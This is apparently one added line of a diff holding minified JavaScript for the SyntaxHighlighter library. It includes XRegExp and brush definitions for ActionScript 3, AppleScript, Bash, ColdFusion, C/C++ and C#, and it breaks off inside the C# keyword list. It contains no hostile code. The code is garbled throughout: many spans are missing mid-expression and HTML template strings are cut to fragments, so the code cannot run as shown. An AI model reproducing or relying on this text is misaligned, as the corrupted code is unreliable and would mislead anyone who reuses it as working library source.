    +var XRegExp,SyntaxHighlighter;if(XRegExp)throw Error("can't load XRegExp twice in the same frame");!function(l){(XRegExp=function(e,t){var r,i,n,s=[],a=XRegExp.OUTSIDE_CLASS,o=0;if(XRegExp.isRegExp(e)){if(t!==l)throw TypeError("can't supply flags when constructing one RegExp from another");return m(e)}if(g)throw Error("can't call the XRegExp constructor within token definition functions");for(t=t||"",r={hasNamedCapture:!1,captureNames:[],hasFlag:function(e){return-1t.index&&this.lastIndex--}return this.global||(this.lastIndex=n),t},RegExp.prototype.test=function(e){var t;return this.global||(t=this.lastIndex),(e=h.exec.call(this,e))&&!u&&this.global&&!e[0].length&&this.lastIndex>e.index&&this.lastIndex--,this.global||(this.lastIndex=t),!!e},String.prototype.match=function(e){var t;return(e=XRegExp.isRegExp(e)?e:RegExp(e)).global?(t=h.match.apply(this,arguments),e.lastIndex=0,t):e.exec(this)},String.prototype.replace=function(t,r){var a,e,i,n=XRegExp.isRegExp(t);return n?(t._xregexp&&(a=t._xregexp.captureNames),t.global||(i=t.lastIndex)):t+="",e="[object Function]"===Object.prototype.toString.call(r)?h.replace.call(this+"",t,function(){if(a){arguments[0]=new String(arguments[0]);for(var e=0;es.length-3;)n=String.prototype.slice.call(t,-1)+n,t=Math.floor(t/10);return(t?s[t]||"":"$")+n}})}),n&&(t.global?t.lastIndex=0:t.lastIndex=i),e},String.prototype.split=function(e,t){if(!XRegExp.isRegExp(e))return h.split.apply(this,arguments);var r,i,n=this+"",s=[],a=0;if(t===l||+t<0)t=1/0;else if(!(t=Math.floor(+t)))return[];for(e=XRegExp.copyAsGlobal(e);(r=e.exec(n))&&!(e.lastIndex>a&&(s.push(n.slice(a,r.index)),1/,function(e){return this.captureNames.push(e[1]),this.hasNamedCapture=!0,"("}),XRegExp.addToken(/\\k<([\w$]+)>/,function(e){var t=x(this.captureNames,e[1]);return-1)/gm,url:/\w+:\/\/[\w-.\/?%&=:@;#]*/g,phpScriptTags:{left:/(<|<)\?(?:=|php)?/g,right:/\?(>|>)/g,eof:!0},aspScriptTags:{left:/(<|<)%=?/g,right:/%(>|>)/g},scriptScriptTags:{left:/(<|<)\s*script.*?(>|>)/gi,right:/(<|<)\/\s*script\s*(>|>)/gi}},toolbar:{getHtml:function(e){var t='
    ',r=u.toolbar.items,i=r.list;function n(e,t){return u.toolbar.getButtonHtml(e,t,u.config.strings[t])}for(var s=0;s'+r+""},handler:function(e){var t=e.target,r=t.className||"";var i,t=c(h(t,".syntaxhighlighter").id),r=(i="command",(i=new RegExp(i+"_(\\w+)").exec(r))?i[1]:null);t&&r&&u.toolbar.items[r].execute(t),e.preventDefault()},items:{list:["expandSource","help"],expandSource:{getHtml:function(e){var t;return 1!=e.getParam("collapse")?"":(t=e.getParam("title"),u.toolbar.getButtonHtml(e,"expandSource",t||u.config.strings.expandSource))},execute:function(e){e=e.id,l(document.getElementById(a(e)),"collapsed")}},help:{execute:function(e){t="",r="_blank",o=500,i=250,n="scrollbars=0",s=(screen.width-o)/2,a=(screen.height-i)/2,n=(n+=", left="+s+", top="+a+", width="+o+", height="+i).replace(/^,/,""),(s=window.open(t,r,n)).focus();var t,r,i,n,s,a=s,o=a.document;o.write(u.config.strings.aboutDialog),o.close(),a.focus()}}}},findElements:function(e,t){var r=t?[t]:function(e){for(var t=[],r=0;r(.*?))\\]$"),n=new XRegExp("(?[\\w-]+)\\s*:\\s*(?[\\w-%#]+|\\[.*?\\]|\".*?\"|'.*?')\\s*;?","g");for(;null!=(t=n.exec(e));){var s,a=t.value.replace(/^['"]|['"]$/g,"");null!=a&&i.test(a)&&(s=i.exec(a),a=0".length;0==r.indexOf(t)&&(r=r.substring(n),i=!0);t=r.length;r.indexOf("]]>")==t-s&&(r=r.substring(0,t-s),i=!0);return i?r:e}(c)),""!=(a.title||"")&&(o.title=a.title),o.brush=l,i.init(o),t=i.getDiv(c),""!=(a.id||"")&&(t.id=a.id);l=t.firstChild.firstChild;l.className=t.firstChild.className,a.parentNode.replaceChild(l,a)}}},all:function(e){p(window,"load",function(){u.highlight(e)})}};function l(e,t){e.className=e.className.replace(t,"")}function g(e){return e.split(/\r?\n/)}function a(e){var t="highlighter_";return 0==e.indexOf(t)?e:t+e}function c(e){return u.vars.highlighters[a(e)]}function d(e,t,r){if(null==e)return null;var i,n=1!=r?e.childNodes:[e.parentNode],s={"#":"id",".":"className"}[t.substr(0,1)]||"nodeName",a="nodeName"!=s?t.substr(1):t.toUpperCase();if(-1!=(e[s]||"").indexOf(a))return e;for(var o=0;n&&o'+e+"")}):e}function b(e,n){g(e);for(var s="",t=0;t<50;t++)s+=" ";return e=x(e,function(e){if(-1!=e.indexOf("\t"))for(var t,r,i;-1!=(r=e.indexOf("\t"));)i=n-(r=r)%n,e=(t=e).substr(0,r)+s.substr(0,i)+t.substr(r+1,t.length);return e})}function w(e){return e.replace(/^\s+|\s+$/g,"")}function S(e){for(var t,r,i=g((t=e,r=/|<br\s*\/?>/gi,1==u.config.bloggerMode&&(t=t.replace(r,"\n")),t=1==u.config.stripBrs?t.replace(r,""):t)),n=(new Array,/^\s*/),s=1e3,a=0;at.index?1:e.lengtht.length?1:0}function v(e,t){for(var r,i=[],n=t.func||function(e,t){return e[0]};null!=(r=t.regex.exec(e));){var s=n(r,t);"string"==typeof s&&(s=[new u.Match(s,r.index,t.css)]),i=i.concat(s)}return i}function r(e){var e=e.target,t=h(e,".syntaxhighlighter"),e=h(e,".container"),r=document.createElement("textarea");if(e&&t&&!d(e,"textarea")){var i,n;c(t.id);n="source",-1==(i=t).className.indexOf(n)&&(i.className+=" "+n);for(var s=e.childNodes,a=[],o=0;oi)break;s.index==r.index&&s.length>r.length?e[t]=null:s.index>=r.index&&s.index'+r+"
    "},getLineNumbersHtml:function(e,t){var r="",i=g(e).length,n=parseInt(this.getParam("first-line")),s=this.getParam("pad-line-numbers");1==s?s=(n+i-1).toString().length:1==isNaN(s)&&(s=0);for(var a=0;a'+l+"":"")+a)}return e},getTitleHtml:function(e){return e?""+e+"":""},getMatchesHtml:function(e,t){var r=0,i="",n=this.getParam("brush","");function s(e){e=e&&e.brushName||n;return e?e+" ":""}for(var a=0;a'+e+""+r})),"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.match(/MSIE/)&&s.push("ie"),n='
    '+(this.getParam("toolbar")?u.toolbar.getHtml(this):"")+''+this.getTitleHtml(this.getParam("title"))+""+(gutter?'":"")+'
    '+this.getLineNumbersHtml(e)+"
    '+n+"
    "},getDiv:function(e){this.code=e=null===e?"":e;var t=this.create("div");return t.innerHTML=this.getHtml(e),this.getParam("toolbar")&&p(d(t,".toolbar"),"click",u.toolbar.handler),this.getParam("quick-code")&&p(d(t,".code"),"dblclick",r),t},init:function(e){var t;this.id=""+Math.round(1e6*Math.random()).toString(),t=this,u.vars.highlighters[a(t.id)]=t,this.params=o(u.defaults,e||{}),1==this.getParam("light")&&(this.params.toolbar=this.params.gutter=!1)},getKeywords:function(e){return"\\b(?:"+(e=e.replace(/^\s+|\s+$/g,"").replace(/\s+/g,"|"))+")\\b"},forHtmlScript:function(e){var t={end:e.right.source};e.eof&&(t.end="(?:(?:"+t.end+")|$)"),this.htmlScript={left:{regex:e.left,css:"script"},right:{regex:e.right,css:"script"},code:new XRegExp("(?"+e.left.source+")(?.*?)(?"+t.end+")","sgi")}}},u}()),"undefined"!=typeof exports&&(exports.SyntaxHighlighter=SyntaxHighlighter),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi,css:"value"},{regex:new RegExp(this.getKeywords("class interface function package"),"gm"),css:"color3"},{regex:new RegExp(this.getKeywords("-Infinity ...rest Array as AS3 Boolean break case catch const continue Date decodeURI decodeURIComponent default delete do dynamic each else encodeURI encodeURIComponent escape extends false final finally flash_proxy for get if implements import in include Infinity instanceof int internal is isFinite isNaN isXMLName label namespace NaN native new null Null Number Object object_proxy override parseFloat parseInt private protected public return set static String super switch this throw true try typeof uint undefined unescape use void while with"),"gm"),css:"keyword"},{regex:new RegExp("var","gm"),css:"variable"},{regex:new RegExp("trace","gm"),css:"color1"}],this.forHtmlScript(SyntaxHighlighter.regexLib.scriptScriptTags)}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["actionscript3","as3"],SyntaxHighlighter.brushes.AS3=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:/(--|#).*$/gm,css:"comments"},{regex:/\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/gm,css:"comments"},{regex:/"[\s\S]*?"/gm,css:"string"},{regex:/(?:,|:|¬|'s\b|\(|\)|\{|\}|«|\b\w*»)/g,css:"color1"},{regex:/(-)?(\d)+(\.(\d)?)?(E\+(\d)+)?/g,css:"color1"},{regex:/(?:&(amp;|gt;|lt;)?|=|� |>|<|≥|>=|≤|<=|\*|\+|-|\/|÷|\^)/g,css:"color2"},{regex:/\b(?:and|as|div|mod|not|or|return(?!\s&)(ing)?|equals|(is(n't| not)? )?equal( to)?|does(n't| not) equal|(is(n't| not)? )?(greater|less) than( or equal( to)?)?|(comes|does(n't| not) come) (after|before)|is(n't| not)?( in)? (back|front) of|is(n't| not)? behind|is(n't| not)?( (in|contained by))?|does(n't| not) contain|contain(s)?|(start|begin|end)(s)? with|((but|end) )?(consider|ignor)ing|prop(erty)?|(a )?ref(erence)?( to)?|repeat (until|while|with)|((end|exit) )?repeat|((else|end) )?if|else|(end )?(script|tell|try)|(on )?error|(put )?into|(of )?(it|me)|its|my|with (timeout( of)?|transaction)|end (timeout|transaction))\b/g,css:"keyword"},{regex:/\b\d+(st|nd|rd|th)\b/g,css:"keyword"},{regex:/\b(?:about|above|against|around|at|below|beneath|beside|between|by|(apart|aside) from|(instead|out) of|into|on(to)?|over|since|thr(ough|u)|under)\b/g,css:"color3"},{regex:/\b(?:adding folder items to|after receiving|choose( ((remote )?application|color|folder|from list|URL))?|clipboard info|set the clipboard to|(the )?clipboard|entire contents|display(ing| (alert|dialog|mode))?|document( (edited|file|nib name))?|file( (name|type))?|(info )?for|giving up after|(name )?extension|quoted form|return(ed)?|second(?! item)(s)?|list (disks|folder)|text item(s| delimiters)?|(Unicode )?text|(disk )?item(s)?|((current|list) )?view|((container|key) )?window|with (data|icon( (caution|note|stop))?|parameter(s)?|prompt|properties|seed|title)|case|diacriticals|hyphens|numeric strings|punctuation|white space|folder creation|application(s( folder)?| (processes|scripts position|support))?|((desktop )?(pictures )?|(documents|downloads|favorites|home|keychain|library|movies|music|public|scripts|sites|system|users|utilities|workflows) )folder|desktop|Folder Action scripts|font(s| panel)?|help|internet plugins|modem scripts|(system )?preferences|printer descriptions|scripting (additions|components)|shared (documents|libraries)|startup (disk|items)|temporary items|trash|on server|in AppleTalk zone|((as|long|short) )?user name|user (ID|locale)|(with )?password|in (bundle( with identifier)?|directory)|(close|open for) access|read|write( permission)?|(g|s)et eof|using( delimiters)?|starting at|default (answer|button|color|country code|entr(y|ies)|identifiers|items|name|location|script editor)|hidden( answer)?|open(ed| (location|untitled))?|error (handling|reporting)|(do( shell)?|load|run|store) script|administrator privileges|altering line endings|get volume settings|(alert|boot|input|mount|output|set) volume|output muted|(fax|random )?number|round(ing)?|up|down|toward zero|to nearest|as taught in school|system (attribute|info)|((AppleScript( Studio)?|system) )?version|(home )?directory|(IPv4|primary Ethernet) address|CPU (type|speed)|physical memory|time (stamp|to GMT)|replacing|ASCII (character|number)|localized string|from table|offset|summarize|beep|delay|say|(empty|multiple) selections allowed|(of|preferred) type|invisibles|showing( package contents)?|editable URL|(File|FTP|News|Media|Web) [Ss]ervers|Telnet hosts|Directory services|Remote applications|waiting until completion|saving( (in|to))?|path (for|to( (((current|frontmost) )?application|resource))?)|POSIX (file|path)|(background|RGB) color|(OK|cancel) button name|cancel button|button(s)?|cubic ((centi)?met(re|er)s|yards|feet|inches)|square ((kilo)?met(re|er)s|miles|yards|feet)|(centi|kilo)?met(re|er)s|miles|yards|feet|inches|lit(re|er)s|gallons|quarts|(kilo)?grams|ounces|pounds|degrees (Celsius|Fahrenheit|Kelvin)|print( (dialog|settings))?|clos(e(able)?|ing)|(de)?miniaturized|miniaturizable|zoom(ed|able)|attribute run|action (method|property|title)|phone|email|((start|end)ing|home) page|((birth|creation|current|custom|modification) )?date|((((phonetic )?(first|last|middle))|computer|host|maiden|related) |nick)?name|aim|icq|jabber|msn|yahoo|address(es)?|save addressbook|should enable action|city|country( code)?|formatte(r|d address)|(palette )?label|state|street|zip|AIM [Hh]andle(s)?|my card|select(ion| all)?|unsaved|(alpha )?value|entr(y|ies)|group|(ICQ|Jabber|MSN) handle|person|people|company|department|icon image|job title|note|organization|suffix|vcard|url|copies|collating|pages (across|down)|request print time|target( printer)?|((GUI Scripting|Script menu) )?enabled|show Computer scripts|(de)?activated|awake from nib|became (key|main)|call method|of (class|object)|center|clicked toolbar item|closed|for document|exposed|(can )?hide|idle|keyboard (down|up)|event( (number|type))?|launch(ed)?|load (image|movie|nib|sound)|owner|log|mouse (down|dragged|entered|exited|moved|up)|move|column|localization|resource|script|register|drag (info|types)|resigned (active|key|main)|resiz(e(d)?|able)|right mouse (down|dragged|up)|scroll wheel|(at )?index|should (close|open( untitled)?|quit( after last window closed)?|zoom)|((proposed|screen) )?bounds|show(n)?|behind|in front of|size (mode|to fit)|update(d| toolbar item)?|was (hidden|miniaturized)|will (become active|close|finish launching|hide|miniaturize|move|open|quit|(resign )?active|((maximum|minimum|proposed) )?size|show|zoom)|bundle|data source|movie|pasteboard|sound|tool(bar| tip)|(color|open|save) panel|coordinate system|frontmost|main( (bundle|menu|window))?|((services|(excluded from )?windows) )?menu|((executable|frameworks|resource|scripts|shared (frameworks|support)) )?path|(selected item )?identifier|data|content(s| view)?|character(s)?|click count|(command|control|option|shift) key down|context|delta (x|y|z)|key( code)?|location|pressure|unmodified characters|types|(first )?responder|playing|(allowed|selectable) identifiers|allows customization|(auto saves )?configuration|visible|image( name)?|menu form representation|tag|user(-| )defaults|associated file name|(auto|needs) display|current field editor|floating|has (resize indicator|shadow)|hides when deactivated|level|minimized (image|title)|opaque|position|release when closed|sheet|title(d)?)\b/g,css:"color3"},{regex:new RegExp(this.getKeywords("activate add alias AppleScript ask attachment boolean class constant delete duplicate empty exists false id integer list make message modal modified new no paragraph pi properties quit real record remove rest result reveal reverse run running save string true word yes"),"gm"),css:"color3"},{regex:new RegExp(this.getKeywords("after before beginning continue copy each end every from return get global in local named of set some that the then times to where whose with without"),"gm"),css:"keyword"},{regex:new RegExp(this.getKeywords("first second third fourth fifth sixth seventh eighth ninth tenth last front back middle"),"gm"),css:"keyword"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["applescript"],SyntaxHighlighter.brushes.AppleScript=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:/^#!.*$/gm,css:"preprocessor bold"},{regex:/\/[\w-\/]+/gm,css:"plain"},{regex:SyntaxHighlighter.regexLib.singleLinePerlComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:new RegExp(this.getKeywords("if fi then elif else for do done until while break continue case esac function return in eq ne ge le"),"gm"),css:"keyword"},{regex:new RegExp(this.getKeywords("alias apropos awk basename bash bc bg builtin bzip2 cal cat cd cfdisk chgrp chmod chown chrootcksum clear cmp comm command cp cron crontab csplit cut date dc dd ddrescue declare df diff diff3 dig dir dircolors dirname dirs du echo egrep eject enable env ethtool eval exec exit expand export expr false fdformat fdisk fg fgrep file find fmt fold format free fsck ftp gawk getopts grep groups gzip hash head history hostname id ifconfig import install join kill less let ln local locate logname logout look lpc lpr lprint lprintd lprintq lprm ls lsof make man mkdir mkfifo mkisofs mknod more mount mtools mv netstat nice nl nohup nslookup open op passwd paste pathchk ping popd pr printcap printenv printf ps pushd pwd quota quotacheck quotactl ram rcp read readonly renice remsync rm rmdir rsync screen scp sdiff sed select seq set sftp shift shopt shutdown sleep sort source split ssh strace su sudo sum symlink sync tail tar tee test time times touch top traceroute trap tr true tsort tty type ulimit umask umount unalias uname unexpand uniq units unset unshar useradd usermod users uuencode uudecode v vdir vi watch wc whereis which who whoami Wget xargs yes"),"gm"),css:"functions"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["bash","shell","sh"],SyntaxHighlighter.brushes.Bash=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:new RegExp("--(.*)$","gm"),css:"comments"},{regex:SyntaxHighlighter.regexLib.xmlComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:new RegExp(this.getKeywords("Abs ACos AddSOAPRequestHeader AddSOAPResponseHeader AjaxLink AjaxOnLoad ArrayAppend ArrayAvg ArrayClear ArrayDeleteAt ArrayInsertAt ArrayIsDefined ArrayIsEmpty ArrayLen ArrayMax ArrayMin ArraySet ArraySort ArraySum ArraySwap ArrayToList Asc ASin Atn BinaryDecode BinaryEncode BitAnd BitMaskClear BitMaskRead BitMaskSet BitNot BitOr BitSHLN BitSHRN BitXor Ceiling CharsetDecode CharsetEncode Chr CJustify Compare CompareNoCase Cos CreateDate CreateDateTime CreateObject CreateODBCDate CreateODBCDateTime CreateODBCTime CreateTime CreateTimeSpan CreateUUID DateAdd DateCompare DateConvert DateDiff DateFormat DatePart Day DayOfWeek DayOfWeekAsString DayOfYear DaysInMonth DaysInYear DE DecimalFormat DecrementValue Decrypt DecryptBinary DeleteClientVariable DeserializeJSON DirectoryExists DollarFormat DotNetToCFType Duplicate Encrypt EncryptBinary Evaluate Exp ExpandPath FileClose FileCopy FileDelete FileExists FileIsEOF FileMove FileOpen FileRead FileReadBinary FileReadLine FileSetAccessMode FileSetAttribute FileSetLastModified FileWrite Find FindNoCase FindOneOf FirstDayOfMonth Fix FormatBaseN GenerateSecretKey GetAuthUser GetBaseTagData GetBaseTagList GetBaseTemplatePath GetClientVariablesList GetComponentMetaData GetContextRoot GetCurrentTemplatePath GetDirectoryFromPath GetEncoding GetException GetFileFromPath GetFileInfo GetFunctionList GetGatewayHelper GetHttpRequestData GetHttpTimeString GetK2ServerDocCount GetK2ServerDocCountLimit GetLocale GetLocaleDisplayName GetLocalHostIP GetMetaData GetMetricData GetPageContext GetPrinterInfo GetProfileSections GetProfileString GetReadableImageFormats GetSOAPRequest GetSOAPRequestHeader GetSOAPResponse GetSOAPResponseHeader GetTempDirectory GetTempFile GetTemplatePath GetTickCount GetTimeZoneInfo GetToken GetUserRoles GetWriteableImageFormats Hash Hour HTMLCodeFormat HTMLEditFormat IIf ImageAddBorder ImageBlur ImageClearRect ImageCopy ImageCrop ImageDrawArc ImageDrawBeveledRect ImageDrawCubicCurve ImageDrawLine ImageDrawLines ImageDrawOval ImageDrawPoint ImageDrawQuadraticCurve ImageDrawRect ImageDrawRoundRect ImageDrawText ImageFlip ImageGetBlob ImageGetBufferedImage ImageGetEXIFTag ImageGetHeight ImageGetIPTCTag ImageGetWidth ImageGrayscale ImageInfo ImageNegative ImageNew ImageOverlay ImagePaste ImageRead ImageReadBase64 ImageResize ImageRotate ImageRotateDrawingAxis ImageScaleToFit ImageSetAntialiasing ImageSetBackgroundColor ImageSetDrawingColor ImageSetDrawingStroke ImageSetDrawingTransparency ImageSharpen ImageShear ImageShearDrawingAxis ImageTranslate ImageTranslateDrawingAxis ImageWrite ImageWriteBase64 ImageXORDrawingMode IncrementValue InputBaseN Insert Int IsArray IsBinary IsBoolean IsCustomFunction IsDate IsDDX IsDebugMode IsDefined IsImage IsImageFile IsInstanceOf IsJSON IsLeapYear IsLocalHost IsNumeric IsNumericDate IsObject IsPDFFile IsPDFObject IsQuery IsSimpleValue IsSOAPRequest IsStruct IsUserInAnyRole IsUserInRole IsUserLoggedIn IsValid IsWDDX IsXML IsXmlAttribute IsXmlDoc IsXmlElem IsXmlNode IsXmlRoot JavaCast JSStringFormat LCase Left Len ListAppend ListChangeDelims ListContains ListContainsNoCase ListDeleteAt ListFind ListFindNoCase ListFirst ListGetAt ListInsertAt ListLast ListLen ListPrepend ListQualify ListRest ListSetAt ListSort ListToArray ListValueCount ListValueCountNoCase LJustify Log Log10 LSCurrencyFormat LSDateFormat LSEuroCurrencyFormat LSIsCurrency LSIsDate LSIsNumeric LSNumberFormat LSParseCurrency LSParseDateTime LSParseEuroCurrency LSParseNumber LSTimeFormat LTrim Max Mid Min Minute Month MonthAsString Now NumberFormat ParagraphFormat ParseDateTime Pi PrecisionEvaluate PreserveSingleQuotes Quarter QueryAddColumn QueryAddRow QueryConvertForGrid QueryNew QuerySetCell QuotedValueList Rand Randomize RandRange REFind REFindNoCase ReleaseComObject REMatch REMatchNoCase RemoveChars RepeatString Replace ReplaceList ReplaceNoCase REReplace REReplaceNoCase Reverse Right RJustify Round RTrim Second SendGatewayMessage SerializeJSON SetEncoding SetLocale SetProfileString SetVariable Sgn Sin Sleep SpanExcluding SpanIncluding Sqr StripCR StructAppend StructClear StructCopy StructCount StructDelete StructFind StructFindKey StructFindValue StructGet StructInsert StructIsEmpty StructKeyArray StructKeyExists StructKeyList StructKeyList StructNew StructSort StructUpdate Tan TimeFormat ToBase64 ToBinary ToScript ToString Trim UCase URLDecode URLEncodedFormat URLSessionFormat Val ValueList VerifyClient Week Wrap Wrap WriteOutput XmlChildPos XmlElemNew XmlFormat XmlGetNodeType XmlNew XmlParse XmlSearch XmlTransform XmlValidate Year YesNoFormat"),"gmi"),css:"functions"},{regex:new RegExp(this.getKeywords("all and any between cross in join like not null or outer some"),"gmi"),css:"color1"},{regex:new RegExp(this.getKeywords("cfabort cfajaximport cfajaxproxy cfapplet cfapplication cfargument cfassociate cfbreak cfcache cfcalendar cfcase cfcatch cfchart cfchartdata cfchartseries cfcol cfcollection cfcomponent cfcontent cfcookie cfdbinfo cfdefaultcase cfdirectory cfdiv cfdocument cfdocumentitem cfdocumentsection cfdump cfelse cfelseif cferror cfexchangecalendar cfexchangeconnection cfexchangecontact cfexchangefilter cfexchangemail cfexchangetask cfexecute cfexit cffeed cffile cfflush cfform cfformgroup cfformitem cfftp cffunction cfgrid cfgridcolumn cfgridrow cfgridupdate cfheader cfhtmlhead cfhttp cfhttpparam cfif cfimage cfimport cfinclude cfindex cfinput cfinsert cfinterface cfinvoke cfinvokeargument cflayout cflayoutarea cfldap cflocation cflock cflog cflogin cfloginuser cflogout cfloop cfmail cfmailparam cfmailpart cfmenu cfmenuitem cfmodule cfNTauthenticate cfobject cfobjectcache cfoutput cfparam cfpdf cfpdfform cfpdfformparam cfpdfparam cfpdfsubform cfpod cfpop cfpresentation cfpresentationslide cfpresenter cfprint cfprocessingdirective cfprocparam cfprocresult cfproperty cfquery cfqueryparam cfregistry cfreport cfreportparam cfrethrow cfreturn cfsavecontent cfschedule cfscript cfsearch cfselect cfset cfsetting cfsilent cfslider cfsprydataset cfstoredproc cfswitch cftable cftextarea cfthread cfthrow cftimer cftooltip cftrace cftransaction cftree cftreeitem cftry cfupdate cfwddx cfwindow cfxml cfzip cfzipparam"),"gmi"),css:"keyword"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["coldfusion","cf"],SyntaxHighlighter.brushes.ColdFusion=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/^ *#.*/gm,css:"preprocessor"},{regex:new RegExp(this.getKeywords("ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t __wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler sig_atomic_t size_t _stat __stat64 _stati64 terminate_function time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf va_list wchar_t wctrans_t wctype_t wint_t signed"),"gm"),css:"color1 bold"},{regex:new RegExp(this.getKeywords("assert isalnum isalpha iscntrl isdigit isgraph islower isprintispunct isspace isupper isxdigit tolower toupper errno localeconv setlocale acos asin atan atan2 ceil cos cosh exp fabs floor fmod frexp ldexp log log10 modf pow sin sinh sqrt tan tanh jmp_buf longjmp setjmp raise signal sig_atomic_t va_arg va_end va_start clearerr fclose feof ferror fflush fgetc fgetpos fgets fopen fprintf fputc fputs fread freopen fscanf fseek fsetpos ftell fwrite getc getchar gets perror printf putc putchar puts remove rename rewind scanf setbuf setvbuf sprintf sscanf tmpfile tmpnam ungetc vfprintf vprintf vsprintf abort abs atexit atof atoi atol bsearch calloc div exit free getenv labs ldiv malloc mblen mbstowcs mbtowc qsort rand realloc srand strtod strtol strtoul system wcstombs wctomb memchr memcmp memcpy memmove memset strcat strchr strcmp strcoll strcpy strcspn strerror strlen strncat strncmp strncpy strpbrk strrchr strspn strstr strtok strxfrm asctime clock ctime difftime gmtime localtime mktime strftime time"),"gm"),css:"functions bold"},{regex:new RegExp(this.getKeywords("auto break case catch class const decltype __finally __exception __try const_cast continue private public protected __declspec default delete deprecated dllexport dllimport do dynamic_cast else enum explicit extern if for friend goto inline mutable naked namespace new noinline noreturn nothrow register reinterpret_cast return selectany sizeof static static_cast struct switch template this thread throw true false try typedef typeid typename union using uuid virtual void volatile whcar_t while"),"gm"),css:"keyword bold"}]}SyntaxHighlighter=SyntaxHighlighter||("undefined"!=typeof require?require("shCore").SyntaxHighlighter:null),e.prototype=new SyntaxHighlighter.Highlighter,e.aliases=["cpp","c"],SyntaxHighlighter.brushes.Cpp=e,"undefined"!=typeof exports&&(exports.Brush=e)}(),function(){function e(){this.regexList=[{regex:SyntaxHighlighter.regexLib.singleLineCComments,func:function(e,t){var r=0==e[0].indexOf("///")?"color1":"comments";return[new SyntaxHighlighter.Match(e[0],e.index,r)]}},{regex:SyntaxHighlighter.regexLib.multiLineCComments,css:"comments"},{regex:/@"(?:[^"]|"")*"/g,css:"string"},{regex:SyntaxHighlighter.regexLib.doubleQuotedString,css:"string"},{regex:SyntaxHighlighter.regexLib.singleQuotedString,css:"string"},{regex:/^\s*#.*/gm,css:"preprocessor"},{regex:new RegExp(this.getKeywords("abstract as base bool break byte case catch char checked class const continue decimal default delegate do double else enum event explicit volatile extern false finally fixed float for foreach get goto if implicit in int interface internal is lock long namespace new null object operator out override params private protected public readonly ref return sbyte sealed set short sizeof stackalloc static string struct switch this throw true try typeof uint ulong unchecked unsafe ushort using virtual void while var from group by into select let where orderby join on equals ascending 